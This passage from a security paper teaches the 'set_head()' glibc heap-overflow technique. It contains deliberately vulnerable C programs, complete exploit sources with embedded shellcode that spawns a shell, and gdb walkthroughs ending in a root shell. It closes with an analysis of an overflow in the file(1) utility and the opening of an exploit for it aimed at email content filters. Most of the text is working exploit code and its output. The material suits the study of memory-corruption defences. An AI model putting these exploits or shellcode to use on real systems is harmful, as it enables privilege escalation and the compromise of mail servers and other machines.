To simplify things, it's useful to define exploitable contexts in terms of
|
|
scenarios. For each specific scenario, there should be a specific way to
|
|
exploit it. Once the reader has learned those scenarios, he can then match
|
|
them with vulnerable situations in softwares. He will then know exactly
|
|
what approach to use to make the most out of the vulnerability.
|
|
|
|
|
|
------[ 6.1.1.1 - The most basic form of the set_head() technique
|
|
|
|
This scenario is the most basic form of the application of the set_head()
|
|
technique. This is the approach that was used in the file(1) utility
|
|
exploit.
|
|
|
|
--------------------------- scenario1.c -----------------------------------
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
|
|
int main (int argc, char *argv[]) {
|
|
|
|
char *buffer1;
|
|
char *buffer2;
|
|
unsigned long size;
|
|
|
|
/* [1] */ buffer1 = (char *) malloc (1024);
|
|
/* [2] */ sprintf (buffer1, argv[1]);
|
|
|
|
size = strtoul (argv[2], NULL, 10);
|
|
|
|
/* [3] */ buffer2 = (char *) malloc (size);
|
|
|
|
return 0;
|
|
}
|
|
--------------------------- end of scenario1.c ----------------------------
|
|
|
|
Here is a brief description of the important lines in this code:
|
|
|
|
[1]: The top chunk is split and a memory region of 1024 bytes is requested.
|
|
|
|
[2]: A sprintf call is made. The destination buffer is not checked to see
|
|
if it is large enough. The top chunk can then be overwritten here.
|
|
|
|
[3]: A call to malloc with a user-supplied size is done.
|
|
|
|
|
|
------[ 6.1.1.2 - Exploit
|
|
|
|
--------------------------- exp1.c ----------------------------------------
|
|
/*
|
|
Exploit for scenario1.c
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
|
|
|
|
// The following #define are from malloc.c and are used
|
|
// to compute the values for the malloc size and the top chunk size.
|
|
#define PREV_INUSE 0x1
|
|
#define SIZE_BITS 0x7 // PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA
|
|
#define SIZE_SZ (sizeof(size_t))
|
|
#define MALLOC_ALIGNMENT (2 * SIZE_SZ)
|
|
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
|
|
#define MIN_CHUNK_SIZE 16
|
|
#define MINSIZE (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) \
|
|
& ~MALLOC_ALIGN_MASK))
|
|
#define request2size(req) (((req) + SIZE_SZ + MALLOC_ALIGN_MASK \
|
|
< MINSIZE)?MINSIZE : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) \
|
|
& ~MALLOC_ALIGN_MASK)
|
|
|
|
|
|
struct sethead {
|
|
unsigned long topchunk_size;
|
|
unsigned long malloc_size;
|
|
};
|
|
|
|
|
|
/* linux_ia32_exec - CMD=/bin/sh Size=68 Encoder=PexFnstenvSub
|
|
http://metasploit.com */
|
|
unsigned char scode[] =
|
|
"\x31\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x27"
|
|
"\xe2\xc0\xb3\x83\xeb\xfc\xe2\xf4\x4d\xe9\x98\x2a\x75\x84\xa8\x9e"
|
|
"\x44\x6b\x27\xdb\x08\x91\xa8\xb3\x4f\xcd\xa2\xda\x49\x6b\x23\xe1"
|
|
"\xcf\xea\xc0\xb3\x27\xcd\xa2\xda\x49\xcd\xb3\xdb\x27\xb5\x93\x3a"
|
|
"\xc6\x2f\x40\xb3";
|
|
|
|
|
|
struct sethead * set_head_compute
|
|
(unsigned long retloc, unsigned long retadr, unsigned long toploc) {
|
|
|
|
unsigned long check_retloc, check_retadr;
|
|
struct sethead *shead;
|
|
|
|
shead = (struct sethead *) malloc (8);
|
|
if (shead == NULL) {
|
|
fprintf (stderr,
|
|
"--[ Could not allocate memory for sethead structure\n");
|
|
exit (1);
|
|
}
|
|
|
|
if ( (toploc % 8) != 0 ) {
|
|
fprintf (stderr,
|
|
"--[ Impossible to use 0x%x as the top chunk location.",
|
|
toploc);
|
|
|
|
toploc = toploc - (toploc % 8);
|
|
fprintf (stderr, " Using 0x%x instead\n", toploc);
|
|
} else
|
|
fprintf (stderr,
|
|
"--[ Using 0x%x as the top chunk location.\n", toploc);
|
|
|
|
// The minus 8 is to take care of the normalization
|
|
// of the malloc parameter
|
|
shead->malloc_size = (retloc - toploc - 8);
|
|
|
|
// By adding the 8, we are able to sometimes perfectly hit
|
|
// the return address. To hit it perfectly, retadr must be a multiple
|
|
// of 8 + 1 (for the PREV_INUSE flag).
|
|
shead->topchunk_size = (retadr + shead->malloc_size + 8) | PREV_INUSE;
|
|
|
|
if (shead->topchunk_size < shead->malloc_size) {
|
|
fprintf (stderr,
|
|
"--[ ERROR: topchunk size is less than malloc size.\n");
|
|
fprintf (stderr, "--[ Topchunk code will not be triggered\n");
|
|
exit (1);
|
|
}
|
|
|
|
check_retloc = (toploc + request2size (shead->malloc_size) + 4);
|
|
if (check_retloc != retloc) {
|
|
fprintf (stderr,
|
|
"--[ Impossible to use 0x%x as the return location. ", retloc);
|
|
fprintf (stderr, "Using 0x%x instead\n", check_retloc);
|
|
} else
|
|
fprintf (stderr, "--[ Using 0x%x as the return location.\n",
|
|
retloc);
|
|
|
|
check_retadr = ( (shead->topchunk_size & ~(SIZE_BITS))
|
|
- request2size (shead->malloc_size)) | PREV_INUSE;
|
|
if (check_retadr != retadr) {
|
|
fprintf (stderr,
|
|
"--[ Impossible to use 0x%x as the return address.", retadr);
|
|
fprintf (stderr, " Using 0x%x instead\n", check_retadr);
|
|
} else
|
|
fprintf (stderr, "--[ Using 0x%x as the return address.\n",
|
|
retadr);
|
|
|
|
return shead;
|
|
}
|
|
|
|
|
|
void
|
|
put_byte (char *ptr, unsigned char data) {
|
|
*ptr = data;
|
|
}
|
|
|
|
|
|
void
|
|
put_longword (char *ptr, unsigned long data) {
|
|
put_byte (ptr, data);
|
|
put_byte (ptr + 1, data >> 8);
|
|
put_byte (ptr + 2, data >> 16);
|
|
put_byte (ptr + 3, data >> 24);
|
|
}
|
|
|
|
|
|
int main (int argc, char *argv[]) {
|
|
|
|
char *buffer;
|
|
char malloc_size_string[20];
|
|
unsigned long retloc, retadr, toploc;
|
|
unsigned long topchunk_size, malloc_size;
|
|
struct sethead *shead;
|
|
|
|
if ( argc != 4) {
|
|
printf ("wrong number of arguments, exiting...\n\n");
|
|
printf ("%s <retloc> <retadr> <toploc>\n\n", argv[0]);
|
|
return 1;
|
|
}
|
|
|
|
sscanf (argv[1], "0x%x", &retloc);
|
|
sscanf (argv[2], "0x%x", &retadr);
|
|
sscanf (argv[3], "0x%x", &toploc);
|
|
|
|
shead = set_head_compute (retloc, retadr, toploc);
|
|
topchunk_size = shead->topchunk_size;
|
|
malloc_size = shead->malloc_size;
|
|
|
|
buffer = (char *) malloc (1036);
|
|
|
|
memset (buffer, 0x90, 1036);
|
|
put_longword (buffer+1028, topchunk_size);
|
|
memcpy (buffer+1028-strlen(scode), scode, strlen (scode));
|
|
buffer[1032]=0x0;
|
|
|
|
snprintf (malloc_size_string, 20, "%u", malloc_size);
|
|
execl ("./scenario1", "scenario1", buffer, malloc_size_string,
|
|
NULL);
|
|
|
|
return 0;
|
|
}
|
|
--------------------------- end of exp1.c ---------------------------------
|
|
|
|
Here are the steps to find the 3 memory values to use for this exploit.
|
|
|
|
|
|
1- The first step is to generate a core dump file from the vulnerable
|
|
program. You will then have to analyze this core dump to find the proper
|
|
values for your exploit.
|
|
|
|
To generate the core file, get an approximation of the top chunk location
|
|
by getting the base address of the BSS section. Normally, the heap will
|
|
start just after the BSS section:
|
|
|
|
bash$ readelf -S ./scenario1 | grep bss
|
|
[22] .bss NOBITS 080495e4 0005e4 000004
|
|
|
|
|
|
The BSS section starts at 0x080495e4. Let's call the exploit the following
|
|
way, and remember to replace 0x080495e4 for the BSS value you have found:
|
|
|
|
bash$ ./exp1 0xc0c0c0c0 0x080495e4 0x080495e4
|
|
--[ Impossible to use 0x80495e4 as the top chunk location. Using 0x80495e0
|
|
instead
|
|
--[ Impossible to use 0xc0c0c0c0 as the return location. Using 0xc0c0c0c4
|
|
instead
|
|
--[ Impossible to use 0x80495e4 as the return address. Using 0x80495e1
|
|
instead
|
|
Segmentation fault (core dumped)
|
|
bash$
|
|
|
|
|
|
2- Call gdb on that core dump file.
|
|
|
|
bash$ gdb -q scenario1 core.2212
|
|
Core was generated by `scenario1'.
|
|
Program terminated with signal 11, Segmentation fault.
|
|
Reading symbols from /usr/lib/debug/libc.so.6...done.
|
|
Loaded symbols for /usr/lib/debug/libc.so.6
|
|
Reading symbols from /lib/ld-linux.so.2...done.
|
|
Loaded symbols for /lib/ld-linux.so.2
|
|
#0 _int_malloc (av=0x40140860, bytes=1075054688) at malloc.c:4082
|
|
|
|
4082 set_head(remainder, remainder_size | PREV_INUSE);
|
|
(gdb)
|
|
|
|
|
|
3- The ESI register contains the address of the top chunk. It might be
|
|
another register for you.
|
|
|
|
(gdb) info reg esi
|
|
esi 0x8049a38 134519352
|
|
(gdb)
|
|
|
|
|
|
4- Start searching before the location of the top chunk to find the NOP
|
|
cushion. This will be the return address.
|
|
|
|
0x8049970: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0x8049980: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0x8049990: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0x80499a0: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0x80499b0: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0x80499c0: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0x80499d0: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0x80499e0: 0x90909090 0x90909090 0x90909090 0xe983c931
|
|
0x80499f0: 0xd9eed9f5 0x5bf42474 0x27137381 0x83b3c0e2
|
|
0x8049a00: 0xf4e2fceb 0x2a98e94d 0x9ea88475 0xdb276b44
|
|
(gdb)
|
|
|
|
0x8049990 is a valid address.
|
|
|
|
|
|
5- To get the return location for your exploit, get a saved EIP from a
|
|
stack frame.
|
|
|
|
(gdb) frame 2
|
|
#2 0x0804840a in main ()
|
|
(gdb) x $ebp+4
|
|
0xbffff52c: 0x4002980c
|
|
(gdb)
|
|
|
|
0xbffff52c is the return location.
|
|
|
|
|
|
6- You can now call the exploit with the values that you have found.
|
|
|
|
bash$ ./exp1 0xbffff52c 0x8049990 0x8049a38
|
|
--[ Using 0x8049a38 as the top chunk location.
|
|
--[ Using 0xbffff52c as the return location.
|
|
--[ Impossible to use 0x8049990 as the return address. Using 0x8049991
|
|
instead
|
|
sh-2.05b# exit
|
|
exit
|
|
bash$
|
|
|
|
|
|
------[ 6.1.2.1 - Multiple overwrites
|
|
|
|
This scenario is an example of a situation where it could be possible to
|
|
leverage the set_head() technique to make it write multiple times in
|
|
memory. Applying this technique will help you improve the reliability of
|
|
the exploit. It will increase your chances of finding a valid return
|
|
location while you are exploiting the program.
|
|
|
|
--------------------------- scenario2.c -----------------------------------
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
|
|
int main (int argc, char *argv[]) {
|
|
|
|
char *buffer1;
|
|
char *buffer2;
|
|
unsigned long size;
|
|
|
|
/* [1] */ buffer1 = (char *) malloc (4096);
|
|
/* [2] */ fgets (buffer1, 4200, stdin);
|
|
|
|
/* [3] */ do {
|
|
size = 0;
|
|
scanf ("%u", &size);
|
|
/* [4] */ buffer2 = (char *) malloc (size);
|
|
|
|
/*
|
|
* Random code
|
|
*/
|
|
|
|
/* [5] */ free (buffer2);
|
|
|
|
} while (size != 0);
|
|
|
|
return 0;
|
|
}
|
|
------------------------- end of scenario2.c ------------------------------
|
|
|
|
Here is a brief description of the important lines in this code:
|
|
|
|
[1]: A memory region of 4096 bytes is requested. The top chunk is split
|
|
and the request is serviced.
|
|
|
|
[2]: A call to fgets is made. The destination buffer is not checked to see
|
|
if it is large enough. The top chunk can then be overwritten here.
|
|
|
|
[3]: The program enters a loop. It reads from 'stdin' until the number '0'
|
|
is entered.
|
|
|
|
[4]: A call to malloc is done with 'size' as the parameter. The loop does
|
|
not end until size equals '0'. This gives the attacker the
|
|
possibility of overwriting the memory multiple times.
|
|
|
|
[5]: The buffer needs to be freed at the end of the loop.
|
|
|
|
|
|
------[ 6.1.2.2 - Exploit
|
|
|
|
--------------------------- exp2.c ----------------------------------------
|
|
/*
|
|
Exploit for scenario2.c
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
|
|
|
|
// The following #define are from malloc.c and are used
|
|
// to compute the values for the malloc size and the top chunk size.
|
|
#define PREV_INUSE 0x1
|
|
#define SIZE_BITS 0x7 // PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA
|
|
#define SIZE_SZ (sizeof(size_t))
|
|
#define MALLOC_ALIGNMENT (2 * SIZE_SZ)
|
|
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
|
|
#define MIN_CHUNK_SIZE 16
|
|
#define MINSIZE (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) \
|
|
& ~MALLOC_ALIGN_MASK))
|
|
#define request2size(req) (((req) + SIZE_SZ + MALLOC_ALIGN_MASK \
|
|
< MINSIZE)?MINSIZE : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) \
|
|
& ~MALLOC_ALIGN_MASK)
|
|
|
|
|
|
struct sethead {
|
|
unsigned long topchunk_size;
|
|
unsigned long malloc_size;
|
|
};
|
|
|
|
|
|
/* linux_ia32_exec - CMD=/bin/id Size=68 Encoder=PexFnstenvSub
|
|
http://metasploit.com */
|
|
unsigned char scode[] =
|
|
"\x33\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x4f"
|
|
"\x3d\x1a\x3d\x83\xeb\xfc\xe2\xf4\x25\x36\x42\xa4\x1d\x5b\x72\x10"
|
|
"\x2c\xb4\xfd\x55\x60\x4e\x72\x3d\x27\x12\x78\x54\x21\xb4\xf9\x6f"
|
|
"\xa7\x35\x1a\x3d\x4f\x12\x78\x54\x21\x12\x73\x59\x4f\x6a\x49\xb4"
|
|
"\xae\xf0\x9a\x3d";
|
|
|
|
|
|
struct sethead * set_head_compute
|
|
(unsigned long retloc, unsigned long retadr, unsigned long toploc) {
|
|
|
|
unsigned long check_retloc, check_retadr;
|
|
struct sethead *shead;
|
|
|
|
shead = (struct sethead *) malloc (8);
|
|
if (shead == NULL) {
|
|
fprintf (stderr,
|
|
"--[ Could not allocate memory for sethead structure\n");
|
|
exit (1);
|
|
}
|
|
|
|
if ( (toploc % 8) != 0 ) {
|
|
fprintf (stderr,
|
|
"--[ Impossible to use 0x%x as the top chunk location.",
|
|
toploc);
|
|
|
|
toploc = toploc - (toploc % 8);
|
|
fprintf (stderr, " Using 0x%x instead\n", toploc);
|
|
} else
|
|
fprintf (stderr,
|
|
"--[ Using 0x%x as the top chunk location.\n", toploc);
|
|
|
|
// The minus 8 is to take care of the normalization
|
|
// of the malloc parameter
|
|
shead->malloc_size = (retloc - toploc - 8);
|
|
|
|
// By adding the 8, we are able to sometimes perfectly hit
|
|
// the return address. To hit it perfectly, retadr must be a multiple
|
|
// of 8 + 1 (for the PREV_INUSE flag).
|
|
shead->topchunk_size = (retadr + shead->malloc_size + 8) | PREV_INUSE;
|
|
|
|
if (shead->topchunk_size < shead->malloc_size) {
|
|
fprintf (stderr,
|
|
"--[ ERROR: topchunk size is less than malloc size.\n");
|
|
fprintf (stderr, "--[ Topchunk code will not be triggered\n");
|
|
exit (1);
|
|
}
|
|
|
|
check_retloc = (toploc + request2size (shead->malloc_size) + 4);
|
|
if (check_retloc != retloc) {
|
|
fprintf (stderr,
|
|
"--[ Impossible to use 0x%x as the return location. ", retloc);
|
|
fprintf (stderr, "Using 0x%x instead\n", check_retloc);
|
|
} else
|
|
fprintf (stderr, "--[ Using 0x%x as the return location.\n",
|
|
retloc);
|
|
|
|
check_retadr = ( (shead->topchunk_size & ~(SIZE_BITS))
|
|
- request2size (shead->malloc_size)) | PREV_INUSE;
|
|
if (check_retadr != retadr) {
|
|
fprintf (stderr,
|
|
"--[ Impossible to use 0x%x as the return address.", retadr);
|
|
fprintf (stderr, " Using 0x%x instead\n", check_retadr);
|
|
} else
|
|
fprintf (stderr, "--[ Using 0x%x as the return address.\n",
|
|
retadr);
|
|
|
|
return shead;
|
|
}
|
|
|
|
|
|
void
|
|
put_byte (char *ptr, unsigned char data) {
|
|
*ptr = data;
|
|
}
|
|
|
|
|
|
void
|
|
put_longword (char *ptr, unsigned long data) {
|
|
put_byte (ptr, data);
|
|
put_byte (ptr + 1, data >> 8);
|
|
put_byte (ptr + 2, data >> 16);
|
|
put_byte (ptr + 3, data >> 24);
|
|
}
|
|
|
|
|
|
int main (int argc, char *argv[]) {
|
|
|
|
char *buffer;
|
|
char malloc_size_buffer[20];
|
|
unsigned long retloc, retadr, toploc;
|
|
unsigned long topchunk_size, malloc_size;
|
|
struct sethead *shead;
|
|
int i;
|
|
|
|
if ( argc != 4) {
|
|
printf ("wrong number of arguments, exiting...\n\n");
|
|
printf ("%s <retloc> <retadr> <toploc>\n\n", argv[0]);
|
|
return 1;
|
|
}
|
|
|
|
sscanf (argv[1], "0x%x", &retloc);
|
|
sscanf (argv[2], "0x%x", &retadr);
|
|
sscanf (argv[3], "0x%x", &toploc);
|
|
|
|
shead = set_head_compute (retloc, retadr, toploc);
|
|
topchunk_size = shead->topchunk_size;
|
|
free (shead);
|
|
|
|
buffer = (char *) malloc (4108);
|
|
memset (buffer, 0x90, 4108);
|
|
put_longword (buffer+4100, topchunk_size);
|
|
memcpy (buffer+4100-strlen(scode), scode, strlen (scode));
|
|
buffer[4104]=0x0;
|
|
|
|
printf ("%s\n", buffer);
|
|
|
|
for (i = 0; i < 300; i++) {
|
|
shead = set_head_compute (retloc, retadr, toploc);
|
|
topchunk_size = shead->topchunk_size;
|
|
malloc_size = shead->malloc_size;
|
|
|
|
printf ("%u\n", malloc_size);
|
|
|
|
retloc = retloc - 8;
|
|
retadr = retadr + 8;
|
|
|
|
free (shead);
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
--------------------------- end of exp2.c ---------------------------------
|
|
|
|
Here are the steps to find the memory values to use for this exploit.
|
|
|
|
|
|
1- The first step is to generate a core dump file from the vulnerable
|
|
program. You will then have to analyze this core dump to find the proper
|
|
values for your exploit.
|
|
|
|
To generate the core file, get an approximation of the top chunk location
|
|
by getting the base address of the BSS section. Normally, the heap will
|
|
start just after the BSS section:
|
|
|
|
bash$ readelf -S ./scenario2|grep bss
|
|
[22] .bss NOBITS 0804964c 00064c 000008
|
|
|
|
|
|
The BSS section starts at 0x0804964c. Let's call the exploit the following
|
|
way, and remember to replace 0x0804964c for the BSS value you have found:
|
|
|
|
bash$ ./exp2 0xc0c0c0c0 0x0804964c 0x0804964c | ./scenario2
|
|
--[ Impossible to use 0x804964c as the top chunk location. Using 0x8049648
|
|
instead
|
|
--[ Impossible to use 0xc0c0c0c0 as the return location. Using 0xc0c0c0c4
|
|
instead
|
|
--[ Impossible to use 0x804964c as the return address. Using 0x8049649
|
|
instead
|
|
--[ Impossible to use 0x804964c as the top chunk location. Using 0x8049648
|
|
instead
|
|
[...]
|
|
--[ Impossible to use 0xc0c0b768 as the return location. Using 0xc0c0b76c
|
|
instead
|
|
--[ Impossible to use 0x8049fa4 as the return address. Using 0x8049fa1
|
|
instead
|
|
Segmentation fault (core dumped)
|
|
bash#
|
|
|
|
|
|
2- Call gdb on that core dump file.
|
|
|
|
bash$ gdb -q scenario2 core.2698
|
|
Core was generated by `./scenario2'.
|
|
Program terminated with signal 11, Segmentation fault.
|
|
Reading symbols from /usr/lib/debug/libc.so.6...done.
|
|
Loaded symbols for /usr/lib/debug/libc.so.6
|
|
Reading symbols from /lib/ld-linux.so.2...done.
|
|
Loaded symbols for /lib/ld-linux.so.2
|
|
#0 _int_malloc (av=0x40140860, bytes=1075054688) at malloc.c:4082
|
|
|
|
4082 set_head(remainder, remainder_size | PREV_INUSE);
|
|
(gdb)
|
|
|
|
|
|
3- The ESI register contains the address of the top chunk. It might be
|
|
another register for you.
|
|
|
|
(gdb) info reg esi
|
|
esi 0x804a6a8 134522536
|
|
(gdb)
|
|
|
|
|
|
4- For the return address, get a memory address at the beginning of the NOP
|
|
cushion:
|
|
|
|
0x8049654: 0x00000000 0x00000000 0x00000019 0x4013e698
|
|
0x8049664: 0x4013e698 0x400898a0 0x4013d720 0x00000000
|
|
0x8049674: 0x00000019 0x4013e6a0 0x4013e6a0 0x400899b0
|
|
0x8049684: 0x4013d720 0x00000000 0x00000019 0x4013e6a8
|
|
0x8049694: 0x4013e6a8 0x40089a80 0x4013d720 0x00000000
|
|
0x80496a4: 0x00001009 0x90909090 0x90909090 0x90909090
|
|
0x80496b4: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0x80496c4: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0x80496d4: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
|
|
|
|
0x80496b4 is a valid address.
|
|
|
|
|
|
5- You can now call the exploit with the values that you have found. The
|
|
return location will be 0xbffffffc, and it will decrement with each write.
|
|
The shellcode in exp2.c executes /bin/id.
|
|
|
|
bash$ ./exp2 0xbffffffc 0x80496b4 0x804a6a8 | ./scenario2
|
|
--[ Using 0x804a6a8 as the top chunk location.
|
|
--[ Using 0xbffffffc as the return location.
|
|
--[ Impossible to use 0x80496b4 as the return address. Using 0x80496b9
|
|
instead
|
|
[...]
|
|
--[ Using 0xbffff6a4 as the return location.
|
|
--[ Impossible to use 0x804a00c as the return address. Using 0x804a011
|
|
instead
|
|
uid=0(root) gid=0(root) groups=0(root)
|
|
bash$
|
|
|
|
|
|
----[ 6.2 - A real case scenario: file(1) utility
|
|
|
|
The set_head technique was developed during the research of a security hole
|
|
in the UNIX file(1) utility. This utility is an automatic file content
|
|
type recognition tool found on many UNIX systems. The versions affected
|
|
are Ian Darwin's version 4.00 to 4.19, maintained by Christos Zoulas. This
|
|
version is the standard version of file(1) for Linux, *BSD, and other
|
|
systems, maintained by Christos Zoulas.
|
|
|
|
The main reason why so much energy was put in the development of this
|
|
exploit is mainly because the presence of a vulnerability in this utility
|
|
represents a high security risk for an SMTP content filter.
|
|
|
|
An SMTP content filter is a system that acts after the SMTP server receives
|
|
email and applies various filtering policies defined by a network
|
|
administrator. Once the scanning process is finished, the filter decides
|
|
whether the message will be relayed or not.
|
|
|
|
An SMTP content filter needs to be able to call different kind of programs
|
|
on an incoming email:
|
|
|
|
- Dearchivers;
|
|
- Decoders;
|
|
- Classifiers;
|
|
- Antivirus;
|
|
- and many more ...
|
|
|
|
The file(1) utility falls under the "classifiers" category.
|
|
|
|
This attack vector gives a complete new meaning to vulnerabilities that
|
|
were classified as low risk.
|
|
|
|
The author of this paper is also the maintainer of PIRANA [7], an
|
|
exploitation framework that tests the security of an email content filter.
|
|
By means of a vulnerability database, the content filter to be tested will
|
|
be bombarded by various emails containing a malicious payload intended to
|
|
compromise the computing platform. PIRANA's goal is to test whether or not
|
|
any vulnerability exists on the content filtering platform.
|
|
|
|
|
|
------[ 6.2.1 - The hole
|
|
|
|
The security vulnerability is in the file_printf() function. This function
|
|
fills the content of the 'ms->o.buf' buffer with the characteristics of the
|
|
inspected file. Once this is done, the buffer is printed on the screen,
|
|
showing what type of file was detected. Here is the vulnerable function:
|
|
|
|
--[ From file-4.19/src/funcs.c
|
|
|
|
01 protected int
|
|
02 file_printf(struct magic_set *ms, const char *fmt, ...)
|
|
03 {
|
|
04 va_list ap;
|
|
05 size_t len;
|
|
06 char *buf;
|
|
07
|
|
08 va_start(ap, fmt);
|
|
09 if ((len = vsnprintf(ms->o.ptr, ms->o.len, fmt, ap)) >= ms->
|
|
o.len) {
|
|
10 va_end(ap);
|
|
11 if ((buf = realloc(ms->o.buf, len + 1024)) == NULL) {
|
|
12 file_oomem(ms, len + 1024);
|
|
13 return -1;
|
|
14 }
|
|
15 ms->o.ptr = buf + (ms->o.ptr - ms->o.buf);
|
|
16 ms->o.buf = buf;
|
|
17 ms->o.len = ms->o.size - (ms->o.ptr - ms->o.buf);
|
|
18 ms->o.size = len + 1024;
|
|
19
|
|
20 va_start(ap, fmt);
|
|
21 len = vsnprintf(ms->o.ptr, ms->o.len, fmt, ap);
|
|
22 }
|
|
23 ms->o.ptr += len;
|
|
24 ms->o.len -= len;
|
|
25 va_end(ap);
|
|
26 return 0;
|
|
27 }
|
|
|
|
At first sight, this function seems to take good care of not overflowing
|
|
the 'ms->o.ptr' buffer. A first copy is done at line 09. If the
|
|
destination buffer, 'ms->o.buf', is not big enough to receive the character
|
|
string, the memory region is reallocated.
|
|
|
|
The reallocation is done at line 11, but the new size is not computed
|
|
properly. Indeed, the function assumes that the buffer should never be
|
|
bigger than 1024 added to the current length of the processed string.
|
|
|
|
The real problem is at line 21. The variable 'ms->o.len' represents the
|
|
number of bytes left in 'ms->o.buf'. The variable 'len', on the other
|
|
hand, represents the number of characters (not including the trailing
|
|
'\0') which would have been written to the final string if enough space had
|
|
been available. In the event that the buffer to be printed would be larger
|
|
than 'ms->o.len', 'len' would contain a value greater than 'ms->o.len'.
|
|
Then, at line 24, 'len' would get subtracted from 'ms->o.len'. 'ms->o.len'
|
|
could underflow below 0, and it would become a very big positive integer
|
|
because 'ms->o.len' is of type 'size_t'. Subsequent vsnprintf() calls
|
|
would then receive a very big length parameter thus rendering any bound
|
|
checking capabilities useless.
|
|
|
|
|
|
------[ 6.2.2 - All the pieces fall into place
|
|
|
|
There is an interesting portion of code in the function donote()/readelf.c.
|
|
There is a call to the vulnerable function, file_printf(), with a
|
|
user-supplied buffer. By taking advantage of this code, it will be a lot
|
|
simpler to write a successful exploit. Indeed, it will be possible to
|
|
overwrite the chunk information with arbitrary values.
|
|
|
|
--[ From file-4.19/src/readelf.c
|
|
|
|
/*
|
|
* Extract the program name. It is at
|
|
* offset 0x7c, and is up to 32-bytes,
|
|
* including the terminating NUL.
|
|
*/
|
|
if (file_printf(ms, ", from '%.31s'",
|
|
&nbuf[doff + 0x7c]) == -1)
|
|
return size;
|
|
|
|
|
|
After a couple of tries overflowing the header of the next chunk, it was
|
|
clear that the only thing that was overflowable was the wilderness chunk.
|
|
It was not possible to provoke a situation where a chunk that was not
|
|
adjacent to the top chunk could be overflowable with user controllable
|
|
data.
|
|
|
|
The file utility suffers from this buffer overflow since the 4.00 release
|
|
when the first version of file_printf() was introduced. A successful
|
|
exploitation was only possible starting from version 4.16. Indeed, this
|
|
version included a call to malloc with a user controllable variable. From
|
|
readelf.c:
|
|
|
|
--[ From file-4.19/src/readelf.c
|
|
|
|
if ((nbuf = malloc((size_t)xsh_size)) == NULL) {
|
|
file_error(ms, errno, "Cannot allocate memory"
|
|
" for note");
|
|
return -1;
|
|
|
|
This was the missing piece of the puzzle. Now, every condition is met to
|
|
use the set_head() technique.
|
|
|
|
|
|
------[ 6.2.3 - hanuman.c
|
|
|
|
/*
|
|
* hanuman.c
|
|
*
|
|
* file(1) exploit for version 4.16 to 4.19.
|
|
* Coded by Jean-Sebastien Guay-Leroux
|
|
* http://www.guay-leroux.com
|
|
*
|
|
*/
|
|
|
|
|
|
/*
|
|
|
|
Here are the steps to find the 3 memory values to use for the file(1)
|
|
exploit.
|
|
|
|
|
|
1- The first step is to generate a core dump file from file(1). You will
|
|
then have to analyze this core dump to find the proper values for your
|
|
exploit.
|
|
|
|
To generate the core file, get an approximation of the top chunk location
|
|
by getting the base address of the BSS section:
|
|
|
|
bash# readelf -S /usr/bin/file
|
|
|
|
Section Headers:
|
|
[Nr] Name Type Addr
|
|
[ 0] NULL 00000000
|
|
[ 1] .interp PROGBITS 080480f4
|
|
[...]
|
|
[22] .bss NOBITS 0804b1e0
|
|
|
|
The BSS section starts at 0x0804b1e0. Let's call the exploit the following
|
|
way, and remember to replace 0x0804b1e0 for the BSS value you have found:
|
|
|
|
bash# ./hanuman 0xc0c0c0c0 0x0804b1e0 0x0804b1e0 mal
|
|
--[ Using 0x804b1e0 as the top chunk location.
|
|
--[ Impossible to use 0xc0c0c0c0 as the return location. Using 0xc0c0c0c4
|
|
instead
|
|
--[ Impossible to use 0x804b1e0 as the return address. Using 0x804b1e1
|
|
instead
|
|
--[ The file has been written
|
|
bash# file mal
|
|
Segmentation fault (core dumped)
|
|
bash#
|
|
|
|
|
|
2- Call gdb on that core dump file.
|
|
|
|
bash# gdb -q file core.14854
|
|
Core was generated by `file mal'.
|
|
Program terminated with signal 11, Segmentation fault.
|
|
Reading symbols from /usr/local/lib/libmagic.so.1...done.
|
|
Loaded symbols for /usr/local/lib/libmagic.so.1
|
|
Reading symbols from /lib/i686/libc.so.6...done.
|
|
Loaded symbols for /lib/i686/libc.so.6
|
|
Reading symbols from /lib/ld-linux.so.2...done.
|
|
Loaded symbols for /lib/ld-linux.so.2
|
|
Reading symbols from /usr/lib/gconv/ISO8859-1.so...done.
|
|
Loaded symbols for /usr/lib/gconv/ISO8859-1.so
|
|
#0 0x400a3d15 in mallopt () from /lib/i686/libc.so.6
|
|
(gdb)
|
|
|
|
|
|
3- The EAX register contains the address of the top chunk. It might be
|
|
another register for you.
|
|
|
|
(gdb) info reg eax
|
|
eax 0x80614f8 134616312
|
|
(gdb)
|
|
|
|
|
|
4- Start searching from the location of the top chunk to find the NOP
|
|
cushion. This will be the return address.
|
|
|
|
0x80614f8: 0xc0c0c0c1 0xb8bc0ee1 0xc0c0c0c1 0xc0c0c0c1
|
|
0x8061508: 0xc0c0c0c1 0xc0c0c0c1 0x73282027 0x616e6769
|
|
0x8061518: 0x2930206c 0x90909000 0x90909090 0x90909090
|
|
0x8061528: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
